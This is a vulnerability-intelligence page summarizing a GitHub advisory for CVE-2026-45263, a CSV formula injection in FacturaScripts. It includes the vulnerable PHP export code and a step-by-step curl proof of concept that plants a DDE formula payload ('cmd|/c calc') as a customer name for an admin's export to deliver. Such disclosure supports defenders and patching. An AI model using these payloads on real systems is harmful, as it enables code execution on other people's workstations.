KEVWire

Security intelligence, with context.

Response snapshot Nov 3, 2026, 01:01 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-45263

FacturaScripts: CSV formula injection in CSVExport allows authenticated low-priv users to plant payloads that execute when an admin opens the export

> Live PoC verified 2026-04-30 against a stock FacturaScripts master at 127.0.0.1:8081. A low-privilege user (lowpriv) created a customer with nombre = "=SUM(1+1)*cmd|/c calc!A1". An admin then exported ListCliente to CSV via ?action=export&option=CSV.

Published Updated

At a glance

Exploited
Not known
Severity
8.0 High (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: facturascripts/facturascripts: 2026.2. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-2p5x-4jr6-x5jg (opens a new tab)

What happened

Summary

> Live PoC verified 2026-04-30 against a stock FacturaScripts master at 127.0.0.1:8081. A low-privilege user (lowpriv) created a customer with nombre = "=SUM(1+1)*cmd|/c calc!A1". An admin then exported ListCliente to CSV via ?action=export&option=CSV. The downloaded file contains the raw payload as the first cell of the nombre column, with no leading single quote and no escape.

Excel and LibreOffice will execute the formula on open, including DDE invocations such as =cmd|'/c calc'!A1 that spawn arbitrary processes on the admin workstation.

Core/Lib/Export/CSVExport.php::writeData() wraps every cell in the configured delimiter (") and concatenates without inspecting the first character of the value. Spreadsheet applications interpret a cell that starts with =, +, -, @, \t, or \r as a formula. Because FacturaScripts only sanitises HTML metacharacters ( " ') on save via Tools::noHtml() (Core/Tools.

Continue reading

php:45), the formula prefix characters survive untouched all the way to the export.

The downstream consumer is the admin who triggered the export, giving the attacker a reliable handoff: low-priv user plants a payload in any text field that ships in the default list export, admin downloads the CSV (all normal billing/sales/purchasing workflow), and the admin's spreadsheet client runs the formula in the admin's local context.

the export does not neutralise leading meta-characters

Core/Lib/Export/CSVExport.php:253-267:

public function writeData(array $data, array $fields = [])
{
 if (!empty($fields)) {
 $this->writeHeader($fields);
 }

 foreach ($data as $row) {
 $line = [];
 foreach ($row as $cell) {
 $line[] = is_string($cell) ? $this->getDelimiter() . $cell . $this->getDelimiter() : $cell;
 }

 $this->csv[] = implode($this->separator, $line);
 }
}

A string cell is rendered as " ". There is no str_starts_with(...) check for the formula trigger characters (= + - @ \t \r per OWASP CSV-injection guidance) and no leading single-quote guard that Excel and LibreOffice both treat as "force as text". The same writer is reused for every list and document export through addListModelPage(), addModelPage(), addBusinessDocPage(), and addTablePage().

the upstream sanitiser only scrubs HTML, not formulas

Core/Tools.php:45-46:

const HTML_CHARS = [' ', '"', "'"];
const HTML_REPLACEMENTS = ['<', '>', '"', '''];

Tools::noHtml() is the canonical input filter that models call from their test() method (e.g. Cliente::test() at Core/Model/Cliente.php:319-321). It strips angle brackets and quotes, none of which collide with the formula-injection alphabet. As a result, the =, +, -, @ characters reach storage verbatim and the export pipeline emits them verbatim.

the export controller hands the payload back to whoever triggers it

Core/Lib/Export/CSVExport.php:240-245:

public function show(Response &$response)
{
 $response->headers->set('Content-Type', 'text/csv; charset=utf-8');
 $response->headers->set('Content-Disposition', 'attachment; filename=' . $this->getFileName() . '.csv');
 $response->setContent($this->getDoc());
}

Content-Disposition: attachment plus an .csv extension causes browsers to save the file. Double-clicking the downloaded file opens it in Excel/LibreOffice/Numbers, which honour formula execution by default. The attacker payload runs on the admin's machine with the admin's privileges, in a security context entirely outside the FacturaScripts blast radius.

default permission model exposes the data ingestion

A user role only needs Update/Insert access to one of the default exportable models (Cliente, Proveedor, Producto, Variante, Contacto, etc.) to plant a payload. The admin export surface is reachable on the same controllers via ?action=export&option=CSV. There is no separate confirmation step that warns the admin the export contains untrusted content.

PoC

# 0. Setup: create a low-privilege user with role granting access to ListCliente/EditCliente.
# (script in advisory environment, see also the prompt's helper).

# 1. Log in as the low-privilege user and obtain a CSRF token.
TOKEN=$(curl -s -c /tmp/fs-low-cookie 'http://127.0.0.1:8081/login' \
 | grep -oP 'name="multireqtoken" value="\K[^"]+' | head -1)
curl -s -b /tmp/fs-low-cookie -c /tmp/fs-low-cookie \
 --data-urlencode "fsNick=lowpriv" \
 --data-urlencode "fsPassword=lowpriv1234" \
 --data-urlencode "multireqtoken=$TOKEN" \
 --data-urlencode "action=login" \
 http://127.0.0.1:8081/login -o /dev/null

# 2. Get a fresh CSRF token for the EditCliente form.
TOKEN=$(curl -s -b /tmp/fs-low-cookie http://127.0.0.1:8081/EditCliente \
 | grep -oP 'multireqtoken" value="\K[^"]+' | head -1)

# 3. Plant a Dynamic Data Exchange payload as the customer name.
curl -s -b /tmp/fs-low-cookie -X POST http://127.0.0.1:8081/EditCliente \
 --data-urlencode "multireqtoken=$TOKEN" \
 --data-urlencode "action=insert" \
 --data-urlencode 'nombre==SUM(1+1)*cmd|/c calc!A1' \
 --data-urlencode "cifnif=11111111H" \
 -o /dev/null

# 4. As any admin, trigger the standard list-customers CSV export.
curl -s -b /tmp/fs-cookie2 \
 'http://127.0.0.1:8081/ListCliente?action=export&option=CSV' \
 -o /tmp/export.csv

# 5. Confirm the formula payload survives unsanitised.
grep -F '=SUM(1+1)*cmd|/c calc!A1' /tmp/export.csv
# Output (verified):
# "11111111H";"";"1";"";...;"=SUM(1+1)*cmd|/c calc!A1";"";"";"";"=SUM(1+1)*cmd|/c calc!A1";...

Opening /tmp/export.csv in Microsoft Excel triggers the Dynamic Data Exchange dialog, which on a default-trusted document or after a single user click runs cmd /c calc. LibreOffice Calc evaluates =SUM(1+1)*cmd|/c calc!A1 and produces the same DDE attempt. The admin sees nothing in the FacturaScripts UI to indicate that a CSV row contained a formula.

Impact

* Code execution on admin workstations. The DDE/HYPERLINK payload runs in the admin's spr

Affected package ranges reported by GitHub: facturascripts/facturascripts: <= 2026.1

Scores and how they were measured

CVSS base severity

8.0

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Follow PHP packages (Composer): RSS feedAll its recordsAsk your AI assistant

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-2p5x-4jr6-x5jg (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-2p5x-4jr6-x5jg, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 2). FacturaScripts: CSV formula injection in CSVExport allows authenticated low-priv users to plant payloads that execute when an admin opens the export (CVE-2026-45263). https://kevwire.com/record/CVE-2026-45263

MLA

"FacturaScripts: CSV formula injection in CSVExport allows authenticated low-priv users to plant payloads that execute when an admin opens the export (CVE-2026-45263)." KEVWire, 2 Nov. 2026, kevwire.com/record/CVE-2026-45263.

Chicago

KEVWire. "FacturaScripts: CSV formula injection in CSVExport allows authenticated low-priv users to plant payloads that execute when an admin opens the export (CVE-2026-45263)." Last modified November 2, 2026. https://kevwire.com/record/CVE-2026-45263.

Evidence summary (plain text)

FacturaScripts: CSV formula injection in CSVExport allows authenticated low-priv users to plant payloads that execute when an admin opens the export (Jul 14, 2026).
> Live PoC verified 2026-04-30 against a stock FacturaScripts master at 127.0.0.1:8081. A low-privilege user (lowpriv) created a customer with nombre = "=SUM(1+1)*cmd|/c calc!A1". An admin then exported ListCliente to CSV via ?action=export&option=CSV. The downloaded file contains the raw payload as the first cell of the nombre column, with no leading single quote and no escape. Excel and LibreOffice will execute the formula on open, including DDE invocations such as =cmd|'/c calc'!A1 that spawn arbitrary processes on the admin workstation.
CVSS 8.0 (version 3.1; evidence as of Nov 2, 2026; https://github.com/advisories/GHSA-2p5x-4jr6-x5jg).
Sources:
GitHub-reviewed advisory GHSA-2p5x-4jr6-x5jg: https://github.com/advisories/GHSA-2p5x-4jr6-x5jg
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-45263.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 3, 2026, 01:00 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are coming as part of KEVWire Premium: join the waitlist. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail